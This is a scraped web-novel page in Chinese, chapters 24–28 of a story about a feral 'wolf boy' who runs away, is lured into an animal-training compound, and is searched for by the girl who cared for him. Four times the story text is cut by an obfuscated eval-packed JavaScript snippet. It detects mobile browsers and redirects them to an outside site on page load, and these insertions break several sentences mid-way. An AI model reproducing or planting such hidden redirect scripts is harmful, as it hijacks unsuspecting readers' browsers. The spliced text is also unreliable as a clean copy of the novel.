;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667581|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天地辽阔,他觉得就算去了其他地方,自己一定也能养活自己。 在难熬的等待中,太阳终于收起最后一缕金光,夜幕降临,星星月亮出来了。 徐家人洗完澡在院子乘凉,从地里粮食到未来几日的天气变化再到大队里婚丧嫁娶,最后聊到自家人的美好展望。 你一言我一语,刘白坐在徐知画的旁边,安静地帮忙打扇驱蚊,耳朵里听着闲谈,心里想着今晚的行动。 终于,到睡觉的时间了,大家各回各屋,一阵窸窸窣窣的声音过来,四周安静得只有远处偶尔响起的狗吠声。 刘白躺在床上一动不动,夜深人静,徐家荣的打呼声饶有节奏地传来。 他悄悄起身,因当狼的经验,哪怕眼前漆黑一片,也能毫无障碍地看清所有事物。 他蹑手蹑脚地靠近徐家荣藏在墙角被报纸遮住的存钱罐,小心翼翼没发出一点儿声拿走。 接着来到厨房,拔开锁,梁上的腊肉、箩筐里的鸡蛋和锅里的馒头,能拿的都带走。 最后看了一眼这座房屋,没有任何留恋地走了。 他自由了! 以后他想做什么就做什么,再也没人逼学那些拼音数字认字等。 他要以人的身份去体验这花花世界。 刘白对未来抱有着美好的想象。 夜色越来越浓了,他撒腿狂奔着,路两旁草丛中发出的虫鸣声仿佛是为他欢呼的奏鸣曲。 他兴奋极了! 因为之前徐知画带他去过镇上,有更多好玩好吃的,刘白想着先去那里看看。 好在他记忆还不错,路线还记得。 他去到原来的地方时,天还没有亮,街道并没有什么人,随便找了一个角落打算歇一歇。 正想躺下时,徐知画说过的话在耳膜里乍响—— “地上脏,不能躺,床才是睡觉的地方。” 刘白环顾了一下四周,没有找到床,但有家饭馆的桌子摆在外面,想着床和这也差不多,于是将两张桌子拼接一起,躺下睡觉,将下摆往下拉了拉,遮住肚脐眼后,很快陷入沉睡之中。 “你这个乞丐,滚开!滚开!” 刘白是在一声咒骂声中睁开眼,就看到一个扫帚打过来,他连忙躲闪开,逃之夭夭。 身上带的食物,昨晚路上吃了一半,今早再吃一半,就没了。 好在还有钱票,他知道钱票能换来好吃的。 吃什么呢? 天光渐晓,随着几声鸡鸣,街道上的人陆陆续续多起来,营业的营业,买东西的买东西,送货的送货。 刘白在一间香飘飘的包子铺前停下,学着别人的样子,从口袋中掏出一张钱票递过去。 没想到那老板抬头骂道:“你拿着一张布票买什么包子?” “有钱,有钱。”刘白没明白票证的区别,还坚持着要塞给他换包子。 “你有钱又怎样?都说布票不能买包子,你是不是来捣乱的?”老板很不耐烦地翻了个白眼,后面还有人在排队呢,见他跟傻子一样话都说不清楚,挥手赶人,“走走走。” 刘白懵了,不明白为什么自己的钱票买不到包子,不过看他态度恶劣,情急之下抓起两个包子,脚踩风火轮似的,很快就没了影。 留下老板在原地嗷嗷叫:“有人抢包子啊!快来人啊!” 25. 病秧子X狼少年 刘白痛痛快快地吃完了两个大包子,见没人追上来,没什么后果,顿生欢喜。 原来只要跑得快,在外面不用票也可以拿到东西吃,屡试不爽后,刘白真是太喜欢这个地方了。 一天之后,有关一个身形快捷迅猛如兽的人抢东西不给钱的信息,在镇上像长了翅膀一样快速传播。 然而常在河边走,哪有不湿鞋。 在刘白又一次想对包子铺下手时,被伏击的治安队逮了个正着。 刘白假意顺从,想着等他们放松之际,伺机而动。 终于在一个拐弯处,迎面而来一辆独轮车,眼见就要撞上,押捕的人急急闪开松开了手,刘白一个飞跃,汇入人群中如鱼入海,不断变幻着方位,很快就消失不见了。 经此之后,刘白收敛了点,漫无目的地走在街头。 天突然暗了下来,先是几滴雨珠滴落头顶上,不一会儿,雨连成线浇湿人间,逛街的人没了闲情逸致,慌慌张张就近躲着雨。 刘白跟着躲在一个屋檐下,观察着身旁人的举止行事。 抬起胳膊擦了擦脸上的水,接着拍了拍裤脚沾上的污渍,之后拧了拧衣服上的水…… “是过云雨,很快就会停的。”一个老汉抬头看天说。 “真是不好彩,早知道今天出门带伞了。”一个被淋了个落汤鸡的男人叹了口气,见这是一处招待所,转身进去了。 刘白收回视线,继续观察着其他人。 果真没多久,云销雨霁,天空是一片湛蓝,阳光猛烈得刚才的那场雨仿佛是错觉。 檐下刚刚聚在一堆的人们纷纷散去,东南西北,他们都有想去地方的确切方向。 刘白没有。 获得自由的激情狂喜在这一刻像潮水退散,他觉得有点迷茫和焦虑,明明周遭是如此热闹,但孤单的感觉却攀上心头。 他甚至开始想着徐知画发现他逃走会是什么反应呢?这个时间点在干什么呢?今天他们家里吃的是什么饭菜呢? 正想着,一个人从身旁经过,带起一阵清爽的风,刚才被淋得全身湿透的男人干干净净的,再不复之前的狼狈。 里面是有洗澡的地方吗?刘白想着,低头嗅了嗅自己,脏兮兮臭烘烘,粘腻难受,他好奇地往里走去。 前台拦住了他的脚步,问道:“同志,住宿吗?请出示介绍信。” 什么东东? 这句刘白没听懂,但不妨碍他知道把身上的钱票都掏出来,看面前这个人喜欢哪一张。 面前这个人哪张都不喜欢。 前台摇头推拒道:“同志,没有介绍信,无法住宿。” 刘白看明白了他的拒绝,可还是不死心,硬闯进去。 “欸欸欸,你这人怎么这样?”前台的力气不敌,眼睁睁看着他往一个房间去,赶紧叫人去报公安。 刘白看着房里的一切,亮白的墙、平整的地板、雪白的被子、清晰的镜子、红木成套桌椅…… 一会儿摸摸动动这个,一会儿研究研究那个。 他猛地扑到床上,滚来滚去,舒服地眯着眼感受着这柔软的触感。 徐知画生气的样子骤然在脑海浮现—— “脏兮兮的,不能上床睡觉!” 刘白立刻跳下床,看着被子上黑乎乎的污迹,下意识心一紧,很快又想起她不在这里,没法惩罚他,提起的心落了下来。 还想着再享受一下,一阵杂乱的脚步声传来,刘白直觉是冲他来的,以一股蛮力撞开一个又一个人,逃得飞快。 “追!” 之后几天,追捕他的人变多了,刘白东逃西窜,吃是吃不饱,睡是睡不好,他想回去了。 就好像是被驯养过的野兽,对礼义廉耻一知半解,既无法再适应森林,也不能完全融入社会。 刘白站在一个十字路口,肚里空空,兜里空空,想着回去之后徐家人会怎么惩罚他,脚步就迈不开了。 纠结来纠结去。 突然,肩膀被拍了一下,刘白转过身,看来来人,眼睛一亮,记得这个人曾给过他肉吃。 “刘白,还真是你啊,你怎么一个人站在这里?徐家人呢?没跟你在一起吗?” 黄二环顾一周,没看到预料中的人,再注意到刘白心虚惶恐的眼神,有几分了然道:“你要不要跟我走?有肉吃?” “有肉吃?”饥肠辘辘的刘白一听这话,抑制不住心里的激动,倏地抓住了他的手。 “有!走,请你吃肉!”黄二眼底中的贪懒一闪而过,脸上挂着一张拼凑出来的微笑。 刘白似乎看到一块接着一块肉被炫到口里,于是兴高采烈地跟在后面走了。 黄二带着他先是去买了一个窑鸡和几个馒头,然后往车站的方向去。 这地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703463|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方刘白还没来过,他惊奇地看着有一个会跑的大怪物直直地开过来,他腿软了,害怕地躲在黄二的身后。 “出息,不用怕,它不吃人,这是客车。”黄二翻了个白眼,他这怂样,一点儿都看不出曾经为狼的气势。 客车? 不一会儿,刘白见客车在前面稳稳停下,一群人从上面冲下来,又一群人涌上去。 刘白跟着黄二像是逆流而上的鱼,上了客车找到位置坐下,颠了颠屁股,好玩。 “坐好。”黄二提醒道。 刘白立刻坐姿笔直如松,注意力被油纸包着的窑鸡香味吸引了去。 黄二大方地撕了一半鸡给他,两人吃得满嘴流油,刘白更是吃得连骨头都不剩。 车开了,窗外虚幻的绿影在倒退,有风呼呼地吹进来,刘白忍不住把头伸出去,这奇妙的感觉让他热血沸腾。 “坐好。”黄二再次提醒。 刘白不情不愿重新坐好,但眼神还眺望着窗外。 江河、草原、山脉、田地……一幕幕不同的景色在眼前掠过,美不胜收。 不知过了多久,车再一次停了,两人下了车。 刘白乖乖地跟着,走啊走,走啊走,七弯八拐,所到的地方越来越偏僻,所见到的人越来越少,从喧闹到寂静,他感觉有些不太对劲。 但是黄二又给他吃了香喷松软的馒头,而且一直笑眯眯地说:“跟着我混,只要你听话,以后想吃什么就吃什么,每天都有好吃的。” 刘白狠狠心动了。 终于,他们来到一个被围墙包围的大院子里。 一进去,门就被关上了。 黄二张开双臂哈哈一笑:“欢迎来到驯兽园!” 话刚落,一声凄厉的嚎叫声乍响。 驯兽园? 没听过。 刘白呼吸一滞,一股寒意自脚底升至脊背,汗毛倒竖,感知到前方危机重重,直觉这并不是一个好地方。 “二爷回来了,这位是……”一个面容消瘦,留着八字胡的男人上前迎接道。 “这就是我跟你说过非常厉害的狼孩,今天来这里做客,我们要好好款待他,大鱼大肉尽管呈上来。” “请请请,美食我已经备好了。” 在两人热情的态度中,刘白感受到了被重视的热切欢迎。 脚一迈,下意识跟了上去。 26. 病秧子X狼少年 徐知画的日记本,记事中—— 【1975年8月15日,清早起床,发现刘白又不见了,他带走了一些食物和钱票,会去哪儿呢?我掏心掏肺对他,他为什么要走呢? 要是找到他,我一定要狠狠打他一顿,看他下次还敢不敢离开我!他是又上山找吃的了?还是先去万兽山看看吧。】 ——————— 【1975年8月16日,刘白还是没找到,家人们都说他是养不熟的白眼狼,找不到就算了,可我不想就这样算了,这个时空他是我相熟的陌生人,我总觉得有一天,他会记起所有。 昨天从万兽山回来,整个人要废了!现在写字,手脚还发软哆嗦着,惨惨惨!刘白!这笔帐我记你头上了!】 ——————— 【1975年8月17日,刘白啊刘白,你哪儿去啦? 今天拿着你的画像去镇上找,没想到你还真来到镇上了,可每次总是来晚一步,你还真能折腾啊!吃霸王餐!掀摊子!抢衣服!还想白住招待所!这一桩桩一件件,真是丢死人! 你怎么能顶着这样一张脸做出这样的事,我记忆中的优等生刘白还存在吗?你可千万不要被我找到,不然我会让你知道花儿为什么这样红!!!】 ——————— 【1975年8月18日,今天我又来到镇上了,刘白,你藏得可真好啊!你的所作所为在镇上流传,很多人都想要抓你,你最好不要被抓到,不然我怕我也会忍不住想将你碎尸!下油锅炸!今天步数应该过万了吧,脚好痛!不想挑水泡呜呜呜——】 ——————— 【1975年8月19日,刘白,你不在镇上了吗?再没有听到有关你的消息,人海茫茫,你要我去哪儿找?你可真没良心,说走就走,带我走也好啊,起码有个照应。 你快回来吧,只要你回来,这段时间因寻找你带来的痛苦折磨,一笔勾销,限今日为止。希望今晚在入睡前能看到你的身影。】 ——————— 【1975年8月22日,今天是大队徐夏花老师结婚的日子,一大清早,妈和二嫂还有我三人先过去帮忙,婚礼年代感的气息浓郁,小孩们挤作一团看新娘,现场热热闹闹的。在响亮的喇叭声中,新郎骑着自行车来接新娘了,大家没有为难他,一路说说笑笑着进了门…… 看着这对新人幸福的笑容,可能之前看到过太多不幸福的婚姻,我下意识想到一句话:那天她盛装出席,去迎接她的人间疾苦。① 或许,但愿,她是幸运的那个,他们真的会幸福一辈子。 反正我是不相信婚姻的,不管是这辈子,还是下辈子,我都不要踏进婚姻的坟墓。男人不是什么好东西,谨记谨记。 刘白这个坏东西,是生是死好歹让人知道一下,若是真挂了,好歹相识一场,我大度,愿意帮忙收尸,让他入土为安。】 ——————— 【1975年8月24日,好多天了,刘白杳无音讯,我也没有活下去的目标,又是想死的一天。可是,这家人拳拳爱护之心实在让人动容,没了刘白,却收获了梦寐以求的亲情。 只是,如果知道我不是他们的家人,还会对我这么好吗?不会吧。 当我说出自己是鸠占鹊巢的那一个,徐家荣反问:‘你怎么确定你不是你呢?我们血脉相同,这是不可改变的事实。我们确定你就是你!’ 一言惊醒梦中人,两段不同的成长历程,为什么不能是同一人呢?前世今生,我就是我。我想要活出怎样的人生,我做主。】 ——————— 【1975年8月28日,没有刘白的日子,生活还在继续。 今天应大队长要求,全大队青年被召集去修水库,一锄头一铁锹,干得热火朝天,那蓬勃的生命力难以用笔触描绘。看到这样朴素无华的场景,喉咙梗塞,想哭。我只好假装低头,加快完成笔下的画幅。 事后,大队长对我所创作的画作很满意,其他人亦是。大家争先恐后着上前找自己的身影,那一张张真诚的笑脸,比我曾在展览馆所见过的每一张面容,都要动人;比画些故作高深的作品挂在高高在上的艺术殿堂,更有成就感。 看着被奖励的油粮,够全家人餐餐吃白米饭一个星期,这竟比以往获奖得到的百万奖金更让我激动!再接再厉,争取以后顿顿吃肉!】 ——————— 【1975年8月31日,今天去找陈豫周,先还他20块。讲话时我发现张二乔躲在角落偷听,计上心头,加大了声量: “听说工农兵大学生有机会返城,由群众推荐、领导批准和学校复审,通过这三个流程即可。我觉得你可以试试,这段时间,你表现好一点,上工再积极点。” 陈豫周目前没有回城的想法,对此没什么反应,但张二乔么,相信她肯定不会放过这个机会。 刘白的消失在光荣大队并没有引起轰动,大队长徐开鸿也只是惋叹一句“可惜了”。他没有再回来,我还能回去吗?又是想念现代事事舒适便捷的一天。】 ——————— 【1975年9月6日,小学开学有几天了,我每天忙得跟个陀螺一样团团转,分不出多余的心神去找刘白。 刘白的痕迹在家里一点点减少,我也只是偶然念头浮起,然后去万兽山和镇上等等走过的地方逛逛。可惜,都没有再见过那抹熟悉的身影。 这些日子,听说张二乔等知青一改平时懒散模样,干活可卖力了,还争着抢着干脏活累活,妈好几回嘀咕说他们是勤奋鬼上身,变了个人似的,还越夸干得越上头。 一段时间后,那些知青一个两个哪里还有往日光鲜亮丽,看起来和大队常年劳作的泥腿子没有什么二样。听说张二乔某天拿起镜子,看到自己被晒得黑成炭的脸,当场尖叫着晕了过去。 而举荐工农兵大学生的消息迟迟没有落实,有人终于忍不住问大队长,才得知没有这回事。那这些时日他们所受的苦,算什么? 查到是张二乔放出的口风,一个个找她算账,最后找上我,我当然是否认没有和她说过这回事,还强调是“听说”,她自己偷听别人讲话,又传出去,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726277|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能怪到我头上? 我跟朵白莲花一样,花言巧语,便将这件事轻轻从自己身上拨了下去。而张二乔等知青还被批评思想不正确,功利性太强,他们若是再想磨洋工懈怠上工,恐怕不容易了。 这下,可算报了当初他们将刘白和狗岁当狗耍之仇,虽然,这两人被欺负了都不知道、不在意,。 不过没关系,我记着,我放心上,我报复回去。】 ——————— 【1975年9月18日,县领导下乡视察和慰问,看到被治理得井井有条的光荣大队,大队长汇报说各项工作在指导下有条不紊进行着。 看了稻田、谷仓、水库、拖拉机手展示、慰问孤寡老人、和学生互动等,大队长趁机将我所创作的集体修水库画给领导看,更是赢得领导好感,好评连连。 果然是能当上大队长的人,工作留痕,我真没想到自己的画还有这作用。不过因此我得到了县领导的青眼相加,他夸我小小年纪,大有作为,还邀请我也为他作画一幅。 虽然不是第一次被夸,但来到这时代,我想有县领导的夸赞,靠这门手艺养活自己不是问题。我还借机让他帮忙寻找刘白的踪迹,希望不久的将来,能有好消息。 这周末我打算去隔壁镇,听说有人在哪里见过刘白,不管真假,我都要去看一看。】 ——————— 【1975年9月21日,在隔壁镇也没找到刘白,空欢喜一场,唉——】 ——————— 【1975年9月29日,徐宝珍竟然也下乡来到光荣大队,今天走在路上,她拦住我,警告说要我离陈豫周远点,不然对我不客气! 我倒想看看她怎么对我不客气,在城里那个家,我要看人脸色,但在这里,不让她好过对我来说易如反掌。 不过恋爱脑没得救,我想不用我动手,在爱情之路,她会吃尽苦头。陈豫周在她那是香饽饽,在我这却是有利可图之人。 我真想知道,如果徐宝珍知道陈豫周是个草包美男,还会这么中意他吗?】 ——————— 【1975年10月26日,凉风带走燥热,总算没那么难耐了。但好多次梦到刘白在某个地方流落街头乞讨为生,冬天来了,饥寒交迫,像卖火柴的小女孩那般冻死在墙角,我就心里难安。 梦里他的样子很可怜,总是伸出手,说救救我。 我很想抓住他,可每每一激动,一睁眼,他就消失无踪。作为同乡人,我宁愿他在这时代也恢复以往的聪明才智,吃饱穿暖,哪怕永远不被我找到。 妈见我又在为刘白发愁,提议请神婆指路寻人。我是不相信的,但万一呢……找了那么久都没找到,试试也无妨。 神婆说按照卦象,近期我有机会和梦中人相见,是在去过的老地方,要我把握住住时机。 我觉得这话很假,不过在去过的老地方来来回回又走了许多遍,我赌这万一。】 ——————— 【1975年11月1日,没有万一,刘白的毛一根都没找到。】 27. 病秧子X狼少年 1975年11月9日,又是赶集日,今天不用上工,徐知画和徐家荣、徐安荣、狗岁和祝安去镇上买东西,熙熙攘攘的街道,一如既往热闹。 布料草帽、陶罐铁锅、盐糖酱醋、纸笔颜料……零零散散一大堆,每个人手上都不得闲。 徐知画正说着去国营饭店吃完饭再回家,今天她请客。 不要钱的彩虹屁,徐安荣和狗岁张嘴就是一箩筐都装不下,他们好意思说下去,徐知画都不好意思听下去。 那几张相似的脸庞上,都洋溢着相似的笑容,任谁都能看出是感情很好的一家人。 在某个瞬间,像感应到了什么,徐知画下意识抬眸一瞥,那个日思夜念的人就这么出现在前方。 那人是刘白吗? 好像长高了一点,身形消瘦了一点,衣衫褴褛了一点,模样狼狈了一点。 徐知画不自觉想走上前确认,徐家荣倏地摁了她的肩膀,低语道:“有人跟着他,别轻举妄动,自然点,装作没发现,走。” 徐家荣一把揽过她的肩膀往另外一个方向走,大声道:“我想起还有东西没买,走走走,再去一趟国营商店。” “三哥,你还想买什么东西?”徐安荣问。 “买到就知道了。”徐家荣说。 大家没有异议,转身跟上去。 来到一个拐角,徐家荣将手上的东西给徐安荣,快言快语道:“我看到刘白了,他可能被坏人控制,我去瞧瞧怎么回事,你们吃完饭就回去,不用管我。” 说着看向徐安荣,嘱咐道:“四弟,你可要保护好他们,安全到家。” “我也去。”徐知画着急道。 “我们都去。”徐安荣和狗岁异口同声说。 “人多容易打草惊蛇。”徐家荣一人敲一记爆栗,“你们都不去!” 见徐知画那犟样,想着她肯定不会乖乖听话:“你可以跟着,但要听我的。” 徐知画连忙点头。 * 刘白昏迷了,被人架着,三人走得并不快。 徐家荣和徐知画戴着一顶草帽,混在人群中,并不显眼。 眼见他们上了一辆客车,两人赶紧跟上去,到后排找了位置坐下。 徐知画认出驯兽师黄二了,压下心底的冲动,大约知道他打的是什么注意,不过放长线钓大鱼,这时起争执说不定还会倒打一耙,且再看看。 她悄声嘀咕向徐家荣说出自己的怀疑。 客车一路疾驰,中途不断有人上上下下,而刘白一直没醒。 徐知画的心砰砰砰乱跳着,这让她想起了电视剧上看过追击匪徒的情景,那些白刀子进红刀子出的血腥场面让人心惊胆颤。 她还没干过这么刺激的事呢,想想血液就沸腾。 兴奋! 终于,他们下车了。 车往前开了一会儿后,徐家荣和徐知画演戏说要回家娘坐过头了,在司机的咒骂声中也急匆匆下车。 而见到黄二,路旁早有人等着接应,熟练地将刘白丢到一个装着稻草的板车上,还作掩饰一番盖住。 一行人推着板车往一条小巷子走去。 徐家荣和徐知画也不敢跟得太近,不过一眨眼的功夫,人就不见了,路过一户人家时,见一个大娘在骂骂咧咧着什么。 徐家荣打听道:“同志,请问刚才有没有见到几个男人推着一辆板车经过?黄二是我亲戚来,忘了他家的路,还请告知一二?” “和那些人做亲戚?你们也不是什么好人。”大娘“呸”一声,当场揪住徐家荣的衣领,痛骂道,“你们这些无法无天的,你赔我母鸡!” “什么母鸡?你先放手,放手!”徐知画拍打着她的手臂。 “不放,万一你们跑了怎么办?刚才黄二那小子抓了我的母鸡走,你们赔。”大娘想到黄二就是一肚子气。 上次,大娘本想着摆几个花盆装饰门口的,黄二路过时,一脚踹烂;这次她的母鸡好好地在地上叼蚁吃,他抓起就跑;还有上上次…… 很多次都是这样,黄二自小就是个狗憎人厌的二流子,偏现在还让他闯出些名堂来,搞了个什么驯兽园,有些好奇的进去参观还要门票,虽说年末会将分红给大队,但大家都说他私底下肯定贪了不少。 现在方圆几十里,就数他家的先盖了青砖房有大院子,他老爸还整天骑着辆自行车在大队耍威风。 可人有钱了,也没改掉那偷鸡摸狗耍赖皮的习惯,一家子坏一窝去了。 上报领导?没用。 人家和领导搭着肩膀称兄道弟呢。 而且偷的也不是什么贵重东西,也没什么目击证人,人家不承认,又能如何? 久而久之,住在附近被黄二祸祸过的人也只能自认倒霉,再将自家东西藏严实点。 今儿大娘也是看到墙角木头有很多白蚁,想着这可是养鸡的好东西,就放母鸡出来吃,哪成想就这么一会儿功夫,那瘟神就下手了。 徐家荣和徐知画对视一眼,赶忙说道:“赔赔赔。” 徐家荣从口袋掏出一元钱晃了晃。 大娘适时松开手,想抢过去。 “诶,先不急。”徐家荣手一缩,正气凛然地说:“我真没想到黄二竟是这样的人,作为他的亲戚,对他这样的行为感到很可耻!大娘,您放心,我会好好规劝他回头是岸,多做好事!” 听了这番话,大娘的态度好了些,不管治不治得了黄二,但总归是个明事理的。 “你要是能劝得他就好了。”大娘叹气,心里对此的希望微乎其微。 “我们会尽力的,请问他现在住在什么地方呢?”徐家荣将一元钱塞到大娘的手里。 大娘看了看手中的钱,还想要更多,可徐家荣见此,就说:“鸡是他拿的,我作为一个远房亲戚,给是情分,不给是本分。你若嫌少,那还给我吧。” 在推搡中,大娘讪讪道:“得得得,一元就一元。” 大娘抢过钱,攥得紧紧的,指着路,说:“黄二的家不在这里,他现在应该是去驯兽园,你拐这条路去,再直走,接着左拐,然后右拐,直走……反正你看到有围墙的地方就是。” 大娘顿了顿,说:“不过建议你们还是不要进去,听说里面的野兽吃人肉,很危险的。” “我们胆子大得很,还没见什么驯兽园呢,今天可要好好长长见识。”徐知画说。 “你这小姑娘长得倒是俏,说亲了没?”大娘这才仔细看徐知画,热情道,“没对象的话,大娘给你介绍一个。” “我早就成家了,孩子都生了两个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733432|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐知画掩嘴笑,“就不打扰大娘了,还赶时间过去。” “真看不出啊。”大娘很是吃惊,上上下下打量着她的身段,人走远了,都没收回视线,喃喃道,“真看不出,这小丫头指定在骗我。” 徐家荣边走边笑道:“孩子两个?我还真要学学你这胡说八道的本事。” “有时乱说一通可以避免很多麻烦。”徐知画哼了声,“多学学。” “嗯哼。” 两人不再说话,心里焦急,左右脚前后快速交替着,走出了残影。 拐来拐去,好在记忆不错,两人紧赶慢赶,刚好看到大门打开,黄二带着人进去。 徐知画看着这差不多两米高的围墙,思考着怎么混进去。 “你说报公安受不受理?”徐知画转头问,却见徐家荣唰唰几下顺着树干,爬上了旁边一棵大树上。 这棵树枝繁叶茂,站在上面可以清楚地看到围墙里面,不怕会被发现。 徐家荣三两下功夫,就站在了一枝高高的树杈上,看着简单过吃饭,徐知画也想试试。 学着他的样子,可粗糙的树干抓得手疼,刚往上爬一点,力不足撑,下一秒就滑了下去。 徐知画气愤地踢了树一脚,到头来脚痛的是自己,窝火得很。 “我的天哪!啧啧啧……厉害厉害……没想到啊没想到……这动物成精了吧……可怕可怕……” 徐家荣嘴里时不时发出一些感叹,听得徐知画是抓心挠肝般难受,额头青筋突突跳,一股不详的猜测涌上心头。 “怎么了?你说说都看到了什么?”徐知画催促问道。 徐家荣又看了一会儿,才“呲溜”爬下去,受惊般拍着胸膛道:“我看到踩着轮子转的熊,带着球走铁丝的猴、跳火圈的狮子、爬梯子的羊……” “这都是人附身的动物吧,怎么比人还厉害?!”徐家荣一脸怀疑人生的模样。 而徐知画在现代见多了动物表演,焦心问:“那刘白呢?有看到刘白吗?” 徐家荣自然看到了被打得跟条死狗一样的刘白,但现在不能说实话,万一她一冲动冲上去拼命,两个人可搞不定,围墙里他还注意到有人持棍把守着呢。 “没看到刘白,不过落在这种地方,只要他还有利用价值,不会有生命危险。”徐家荣挑着话安慰道,“我们回去好好商量,看怎么救出他。” 见徐知画盯着那大门看,徐家荣说:“跑得了和尚,跑不了庙。这么大一个地方,不怕找不到人。” 徐知画也知道贸然上去不过是以卵击石,跟着回去了。 她能保持冷静,徐家荣松了一口气,其实对于拯救刘白,并不是很放在心上,甚至觉得他是个麻烦,被打死正好,省得龟妹整天为他提心吊胆。 这年头,人都吃不饱了,更谈不上什么保护动物,以“虐待动物”为由,是不可能将黄二绳之于法的。 而且说这驯兽园和大队有关,所牵扯的利益更是不能轻易撼动。 黄二那人,一看就是会为了己利不择手段之人,为了刘白一个,连累全家这样的结局也不是想要的。 …… 徐知画一脸忧心忡忡,脑海中浮现一个个解救之法,又一个个被推倒。 没权没势没钱,该怎么将刘白救出来? 28. 病秧子X狼少年 徐知画回去之后第一时间,找大队长徐开鸿帮忙去交涉。 徐开鸿欣然应允,认为小事一桩,还放话等好消息就行。 没想到碰了一鼻子灰,黄二不肯放人,还说狼孩在高旷大队落了户,以后跟光荣大队没有关系。 狼孩一个没爸没妈的孤儿,高旷大队愿意收养照顾他,吃穿不愁,那是他的荣幸。 而且因为提前威逼利诱过,哪怕徐开鸿当场问刘白想不想跟他走,但刘白在黄二的示意下直摇头,说“不想。” 早知道有这意外,在见到狼孩的第一天,就应该将他登记落户。 徐开鸿直懊恼,哪至于让对方先发制人,有理也变成了无理。 当时许下的承诺有多响亮,现在面对徐知画殷切的目光就有多心虚。 徐开鸿视线躲闪,半晌才扯出大堆道理: “要不就算了,现在高旷大队发展得比我们的好,你们家也不富裕,多一张嘴吃饭,多个负担。再说,你和狼孩非亲非故,做到这个程度很可以了。你对他好,他也不见得会感恩,及时止损,且让他去吧。” 这套话术听着好熟悉。 但徐知画坚定地说:“他对我的意义重大,我一定会再办法救他出来。” 听到这句话,徐开鸿忍不住打量了她几眼,猜测着难道她情窦初开,单方面看上那狼孩了? “你可别乱来,破坏两个大队的团结。”徐开鸿好心提醒,建议道,“要不你去请求县委书记帮助,上次他对你的印象还不错,高旷大队也是在他的管辖下,万一他肯卖你一个面子呢。” 徐知画也有这打算。 上次县委书记李钊说想要自己也为他作一幅画,刚好有这现成的人情请他帮忙。 徐知画马不停蹄赶回家,拿出颜料,铺开画纸,将李钊下乡视察的场景画得生动传神,且构图巧妙,重点突出他和社员们其乐融融,尽展革命情谊。画面富有张力和视觉冲击力,让人一看就知道他是个好领导。 此画一成,家人们是赞不绝口,一个两个纷纷举手也想要一幅肖像画。 徐知画自是应了。 第二天一早,还是在徐家荣的陪同下,徐知画将画包装好,往县里赶去。 按照徐开鸿给的地址,又是一路颠簸,坐车坐到屁股痛,走路走到脚要废,来到县委大院时,两人面呈菜色,歇了好一会儿才缓过来,看着这座两进六排的平房,墙上一行红色标语格外醒目—— 【从群众中来,到群众中去。】① 正打算找人询问一下,就见县委书记李钊和一个人说笑着从一间屋子里走出来,看样子很熟稔,在握手话别着。 那个人转过头,走过来,徐知画瞳孔紧缩,倒吸了一口气。 竟是黄二! 麻烦大了! 她心里沉甸甸往下坠。 黄二显然也认出了徐知画,恶劣地挑挑眉,嘴角勾起一抹奸笑,语气是难以压制的得意:“好巧啊,可惜,兜兜转转,他还是落在了我的手上,别白费力了,跟我抢人,你是抢不过的。” “不试试怎么知道呢,谁笑到最后还不一定呢。”徐知画直盯着他说,毫无怯意。 “那你试试。” 黄二丝毫不觉得这个瘦弱的小姑娘能成什么大事,只觉她单纯无知无畏得可爱,他见多了这种人,试试吧,试试撞个头破血流,就会知道害怕了。 黄二哼着歌走了。 徐知画快速调整好表情,扬起一张笑脸,见李钊欲进屋,追上前喊道:“李书记,请等等。” 李钊看着风尘仆仆模样狼狈的两人,打量了好一会儿,才认出徐知画,缓缓道:“是你啊,徐小同志,请问找我什么事?” “李书记,上次见了您和社员一起劳作的场景,我深受感动。这不,花了好长时间,终于将这般风采画下来,便马不停蹄想送过来给您欣赏。”徐知画边说边将保护画的包装打开。 李钊眼前一亮,注意力落在画上,目光瞬间就被黏住。 “好,好,好,画得真好!”李钊喜不自胜。 “您能满意,我不胜荣幸。”徐知画说着漂亮话。 